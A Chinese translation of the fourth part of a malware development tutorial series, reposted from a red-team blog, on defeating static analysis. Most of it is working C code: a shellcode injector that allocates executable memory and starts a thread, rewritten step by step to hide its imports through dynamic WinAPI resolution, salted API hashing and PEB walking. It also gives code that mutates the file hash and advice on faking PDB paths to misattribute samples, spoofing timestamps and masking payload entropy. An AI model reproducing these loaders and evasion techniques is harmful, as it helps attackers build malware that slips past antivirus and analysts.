文章总结: 本文详细介绍了恶意软件开发中的反静态分析技术,包括VisualStudio编译链接选项设置、动态解析WinAPI函数隐藏导入、PE结构分析和熵分析等方法。文章提供了具体代码示例,如使用API哈希和通过PEB查找kernel32.dll地址等技术,帮助恶意软件规避静态检测。这些技术可用于提高恶意软件的隐蔽性,但也为安全研究人员提供了检测思路。
综合评分: 85
文章分类: 恶意软件,二进制安全,安全开发,逆向分析,免杀
恶意软件开发系列(四):反静态分析技术详解
aeverj
红队工坊
2025年12月9日 06:00
北京
翻译自 Malware development part 4 – anti static analysis tricks
这是恶意软件开发系列的第四篇文章。在本系列中,我们将探索并尝试实现恶意应用程序用于执行代码、躲避防御和持久化的多种技术。
在系列的前一部分中,我们讨论了检测沙箱、虚拟机、自动化分析的方法,以及如何让分析人员的手动调试变得更加困难。
在本文中,我们将深入探讨使用 Visual Studio 编译和链接代码的细节,然后重点关注静态分析和混淆技术。
注意:我们假设使用 64 位执行环境——某些代码示例可能不适用于 x86 应用程序(例如由于硬编码的 8 字节指针长度或 PE 和 PEB 中不同的数据布局)。此外,下面的代码示例中省略了错误检查和清理操作。
使用 Visual Studio 创建可执行文件
让我们在 Visual Studio 中创建一个新项目,浏览编译和链接选项,看看有哪些可用设置。我们将使用这个简单的 Metasploit shellcode 注入器:
void main()
{
unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}
某些编译和链接设置可能会对二进制文件进行修改,使其更小(从而更容易传递)或更难调试和逆向工程。
编译器选项
C 运行时库 (/MT)
我们应该做的第一件事是强制应用程序使用 静态版本的运行时库(CRT,C Runtime)——否则它无法在没有安装 MSVCRT 的计算机上运行。这可能会显著增加可执行文件的大小,因为必须将必要的库嵌入其中。
当你开发常规应用程序时,通常最好使用系统上可用的共享运行时库(你总是可以在安装程序中捆绑它)。但对于恶意软件来说情况并非如此——我们希望它尽可能便携。
有一种方法可以减小可执行文件大小并使用一些 CRT 功能。我们可以使用 msvcrt.dll 库,它在 Windows 95 以来的每个 Windows 版本上都可用。我们需要从 msvcrt.dll 库创建自己的静态库 msvcrt.lib 版本,如 这里 https://stackoverflow.com/a/39737730 所述。使用自定义 CRT 静态库而不是 Visual Studio 自动添加的库(通过 /NODEFAULTLIB 链接器参数)可以将可执行文件大小从几乎降至仅 4 KB 左右。此外,可能需要定义 _NO_CRT_STDIO_INLINE。
编辑
有关使用内置 msvcrt.dll 的更多详细信息,请查看 Solomon Sklash 的这篇精彩文章 https://www.solomonsklash.io/smaller-c-payloads-on-windows.html。
代码优化 (/O1, /O2 等)
有两种 代码优化 https://docs.microsoft.com/en-us/cpp/build/reference/o1-o2-minimize-size-maximize-speed 策略——优先考虑速度或大小。每种策略都会导致编译器应用一些改变代码的技术,可能会使汇编代码更难阅读和理解。例如,调试器可能无法评估某些(优化的)变量的值。某些指令可以被不太明显但产生相同结果的指令替换。内联函数可能会使代码更难理解,因为它会减少逻辑上分离的功能块数量。
__forceinline 指令可用于标记特定函数在编译期间内联,无论编译器优化如何。
链接器选项
调试信息 (/DEBUG)
有一个非常特殊的调试信息——.PDB 文件路径——被放置在最终可执行文件中,可能包含敏感信息。想象一下一个有条理的开发人员,他有组织良好的目录结构和命名——.PDB 文件路径可能是这样的:"C:\\users\\nameSurname\\Desktop\\companyName\\clientName\\assessmentDate\\MaliciousApp\\Release\\MaliciousApp.pdb"。从最终可执行文件中删除该信息非常重要。我们还可以伪造一个假的 .PDB 文件路径来欺骗研究人员,例如让我们的恶意软件被归因于不同的组织。
务必查看 这篇 FireEye 文章 https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html,了解如何从恶意软件样本中提取信息。
清单中的 UAC 设置 (/MANIFESTUAC)
这个特定选项不会改变代码本身,但值得一提。我们可以配置应用程序提示用户同意或凭据(取决于系统设置)以使用管理员权限运行。这有时可以作为 UAC “绕过”派上用场——需要更高权限?直接问用户!但这可能会引起某些用户的怀疑,因此应仅在特定情况下使用。无论如何,我们可以将 UAC 级别 https://docs.microsoft.com/en-us/cpp/build/reference/manifestuac-embeds-uac-information-in-manifest 设置为 highestAvailable——仅当用户是本地 Administrators 组成员时,应用程序才需要管理员同意或凭据。
静态分析和混淆
现在让我们关注一些更有趣的内容——我们可以做什么来混淆我们的代码。我们希望在二进制文件的静态检查期间尽可能少地暴露信息。
Windows 可执行文件(PE,Portable Executable)包含从逆向工程师角度来看特别有趣的几个信息:头部、节头部和内容(代码、资源等)、导入和导出的函数、时间戳。分析人员只需检查可执行文件(无需运行它)就可以提取大量有用信息。这包括代码、导入的函数、硬编码的字符串和其他数据。静态 PE 文件分析还可以指示使用了打包器或其他混淆技术。当然,最简单的做法是计算文件哈希并在数据库(VirusTotal 等)中查找它。
那么,我们如何对抗静态分析技术呢?
更改文件哈希
知道文件中仅一位的更改就会导致其哈希完全不同,我们可以为代码引入简单的多态性(Polymorphism)。基本思想是复制可执行文件,同时例如在末尾添加一个空字节。更复杂的方法可能包括对嵌入在可执行文件中的资源(例如图标)进行更改。
我认为不可能删除与正在运行的进程关联的可执行文件。但是可以重命名正在执行的文件。但我们需要启动另一个进程,该进程将等待主进程终止,然后修改磁盘上的二进制文件并重新启动恶意应用程序。我们还可以复制可执行文件(更改其名称的最后一个字符)并修改副本:
wchar_t oldExecutablePath[MAX_PATH];
wchar_t newExecutablePath[MAX_PATH];
size_t executablePathLength;
GetModuleFileName(NULL, oldExecutablePath, MAX_PATH);
StringCchCopy(newExecutablePath, MAX_PATH, oldExecutablePath);
StringCchLengthW(oldExecutablePath, MAX_PATH, &executablePathLength);
wchar_t mutatingChar = newExecutablePath[executablePathLength - 5];
newExecutablePath[executablePathLength - 5] = mutatingChar / 2 * 2 + !(mutatingChar % 2);
CopyFile(oldExecutablePath, newExecutablePath, FALSE);
HANDLE hFile = CreateFile(newExecutablePath, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD bytesWritten;
SetFilePointer(hFile, 0, NULL, FILE_END);
char toWrite[] = "\\0";
WriteFile(hFile, toWrite, 1, &bytesWritten, NULL);
CloseHandle(hFile);
// 确保下次运行 newExecutablePath - 例如修改持久化条目
通过动态解析 WinAPI 函数隐藏导入
导入地址表(IAT,Import Address Table)存储有关应用程序使用的库和函数的信息。操作系统在可执行文件启动时动态加载它们。非常方便(这就是 Windows 的工作方式),但表内容可以提供大量关于程序功能的信息。例如,内存操作和线程操作函数(VirtualAlloc、VirtualProtect、CreateRemoteThread)可以表明应用程序正在执行某种代码注入。WSASocket 通常被绑定和反向 shell 使用,SetWindowsHookEx 被键盘记录器使用。
我们的简单代码具有以下导入(使用 Dependencies https://github.com/lucasg/Dependencies 工具列出):
为了隐藏这些信息(从静态分析中),我们可以动态解析某些 API 函数。我们甚至可以使用系统调用(syscalls)(参见用户态钩子规避)。现在让我们只使用 GetModuleHandle 获取加载到内存中的 kernel32.dll 的句柄,然后使用 GetProcAddress 查找必要的函数:
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
void main()
{
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
PCreateThread funcCreateThread = (PCreateThread)GetProcAddress(hKernel32, "CreateThread");
PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");
unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
现在可疑函数是动态解析的,IAT 中没有它们的迹象:
当然,我们可以进一步混淆,添加一些不相关的函数来”填充”IAT,使应用程序看起来更合法。另一件重要的事情是加密带有函数名称的字符串——我们不希望它们通过 grep 二进制文件就可见。
但是,我们的导入表现在包含 GetModuleHandle 和 GetProcAddress 函数,它们恰好是恶意软件的强指标,特别是打包的可执行文件。我们的应用程序现在可能比以前更可疑。让我们也隐藏这些导入。
API 哈希
我们可以计算特定库导出的所有函数名称的哈希值,然后根据可执行文件中硬编码的此类哈希列表选择适当的函数,而不是编码/加密函数名称(应用程序将动态解析)。为此,我们可以手动遍历库的导出表。
让我们使用一些简单的哈希函数,如 djb2 http://www.cse.yorku.ca/~oz/hash.html,但将 5381 常量替换为其他值。我们可以使用任何哈希函数以及盐值来击败恶意软件分析人员的简单哈希计算。我们已经为某些 kernel32.dll 导入预先计算了哈希——我们需要做的就是浏览库导出并计算函数名称哈希。
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
unsigned int hash(const char *str)
{
unsigned int hash = 7759;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c;
return hash;
}
void main()
{
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
PVirtualAlloc funcVirtualAlloc;
PCreateThread funcCreateThread;
PWaitForSingleObject funcWaitForSingleObject;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)hKernel32 + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)hKernel32 + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)hKernel32 + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)hKernel32 + pAddressOfNames[i]);
if (hash(pFunctionName) == 0x80fa57e1)
{
funcVirtualAlloc = (PVirtualAlloc)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (hash(pFunctionName) == 0xc7d73c9b)
{
funcCreateThread = (PCreateThread)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (hash(pFunctionName) == 0x50c272c4)
{
funcWaitForSingleObject = (PWaitForSingleObject)((PBYTE)hKernel32 + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
unsigned char shellcode[] = "\\xfc\\x48\\x83";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
引导:shellcode 风格
尽管如此,我们仍然使用 GetModuleHandle 函数来定位内存中的 kernel32.dll。通过在进程环境块(PEB,Process Environment Block)中查找库位置可以绕过这一点。
我们可以利用几个事实(以下适用于 x64 架构;x86 的偏移量不同):
- PEB 地址位于相对于
GS寄存器的地址:GS:[0x60] _PEB_LDR_DATA结构(包含有关所有已加载模块的信息)位于$PEB:[0x18]- 加载器数据在偏移量
0x20处包含指向InMemoryOrderModuleList的指针 InMemoryOrderModuleList是LDR_DATA_TABLE_ENTRY结构的双向链表,每个结构包含单个模块的BaseDllName和DllBase- 我们可以浏览所有已加载的模块,找到
kernel32.dll及其基地址 - 知道
kernel32.dll在内存中的位置,我们可以找到其导出目录并浏览它以查找GetProcAddress函数 - 使用
GetProcAddress,我们可以找到其他必要的函数并加载所有需要的模块
让我们实现这个过程:
typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
void main()
{
PPEB pPEB = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA pLoaderData = pPEB->Ldr;
PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;
PLIST_ENTRY listCurrent = listHead->Flink;
PVOID kernel32Address;
do
{
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);
PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);
WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);
CharUpperA(dllName);
if (strstr(dllName, "KERNEL32.DLL"))
{
kernel32Address = dllEntry->DllBase;
HeapFree(GetProcessHeap(), 0, dllName);
break;
}
HeapFree(GetProcessHeap(), 0, dllName);
listCurrent = listCurrent->Flink;
} while (listCurrent != listHead);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);
PGetModuleHandleA pGetModuleHandleA = NULL;
PGetProcAddress pGetProcAddress = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "GetModuleHandleA"))
{
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (!strcmp(pFunctionName, "GetProcAddress"))
{
pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)pGetProcAddress(hKernel32, "VirtualAlloc");
PCreateThread funcCreateThread = (PCreateThread)pGetProcAddress(hKernel32, "CreateThread");
PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)pGetProcAddress(hKernel32, "WaitForSingleObject");
unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
PE 分析和指标
在静态检查恶意样本时,恶意软件分析人员会查看 PE 文件结构和内容。这些数据可能会揭示有关应用程序的某些细节,并帮助将其分类为恶意软件。我们讨论了导入,现在让我们关注其他 PE 节、嵌入的资源和时间戳。
节
这里要注意的是,我们应该确保节名称反映合法的、编译的 PE 结构。例如,打包器可能会将节名称更改为随机字符串,甚至是打包器软件的明显指标(UPX0、UPX1 等)。
添加新节也可能引起怀疑——将数据存储在现有资源节中可能是更好的主意。
此外,节原始大小(磁盘上的大小)通常应该几乎等于虚拟大小(加载映像时在内存中的大小)——由于不同的内存对齐(磁盘与 RAM),小差异很常见。例如,原始大小为 0 且虚拟大小为数百 KB 的 .text 节可能意味着实际可执行文件已被打包。
资源
我们可以将任何数据作为资源嵌入到可执行文件中——例如图标、诱饵文档或 shellcode。但是,使用 Resource Hacker 或任何类似工具都可以看到所有内容。最好嵌入加密的恶意资源或使用隐写术使其更难检查。
时间戳
PE 头包含 TimeDateStamp 4 字节字段,这是编译的 Unix 时间。这可以很容易地更改(例如使用十六进制编辑器)以隐藏实际的编译日期。
熵分析
熵分析可用于轻松查找嵌入在可执行文件中的潜在加密内容。加密数据通常具有相对较高的熵(接近 8 位)。压缩数据也是如此。
我们可以使用这个简单的 Python 脚本(确保安装 pefile 模块)来计算 PE 文件节的熵:
import sys
import math
import pefile
import peutils
def Entropy(data):
entropy = 0
if not data:
return 0
ent = 0
for x in range(256):
p_x = float(data.count(x))/len(data)
if p_x > 0:
entropy += - p_x*math.log(p_x, 2)
return entropy
pe=pefile.PE(sys.argv[1])
for s in pe.sections:
print (s.Name.decode('utf-8').strip('\\x00') + "\\t" + str(Entropy(s.get_data())))
让我们从我们之前开发的简单 shellcode 加载器开始。这是节熵:
.text 4.616090501867742
.rdata 5.4577520758849944
.pdata 0.10191042566270775
.rsrc 4.7015032582517895
位于 .text 节中的应用程序代码的熵与人类语言文本相当。Shellcode 位于 .rdata 节中,其熵略高。
现在让我们嵌入一些大的加密数据块,例如通过向可执行文件添加资源。如下所示,.rsrc 节可能包含一些加密或压缩的数据。实际上,它可能是某些使用压缩的图像或任何其他文件格式。
.text 4.616090501867742
.rdata 5.458570681613711
.pdata 0.10191042566270775
.rsrc 7.95737230129355
为了简单地操纵数据块的熵,我们可以使用 Base64 编码。查看 纯 shellcode、AES 加密、GZIP 压缩 和 Base64 编码 的熵值。因此,为了击败基本的熵分析,我们可以加密然后使用例如 Base64 的自定义变体(或 Base62 或任何其他——BaseN 编码数据的熵将大致等于 log 2(N))对数据/有效载荷进行编码。
总结
我们已经介绍了一些可用于使恶意应用程序的静态分析稍微困难一些的技术,主要关注 PE 格式和常见指标。
在下一篇文章中,我们将讨论用于进一步混淆恶意软件的其他技巧。
如果你对网络安全、红队攻防技术充满热情,渴望学习更多实战技巧,例如渗透测试、自动化脚本编写、免杀技术等, 欢迎关注我的公众号
在这里,我会持续分享更多高质量的技术文章,与你一同探索网络安全的奥秘,提升实战技能! 让我们一起在队攻防的道路上,不断精进,突破边界!
免责声明: 本文仅供安全技术研究与学习交流之用。 严禁将本文所提及的技术用于任何非法用途,包括但不限于未经授权的渗透测试、网络攻击、恶意代码传播等。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队工坊 aeverj《恶意软件开发系列(四):反静态分析技术详解》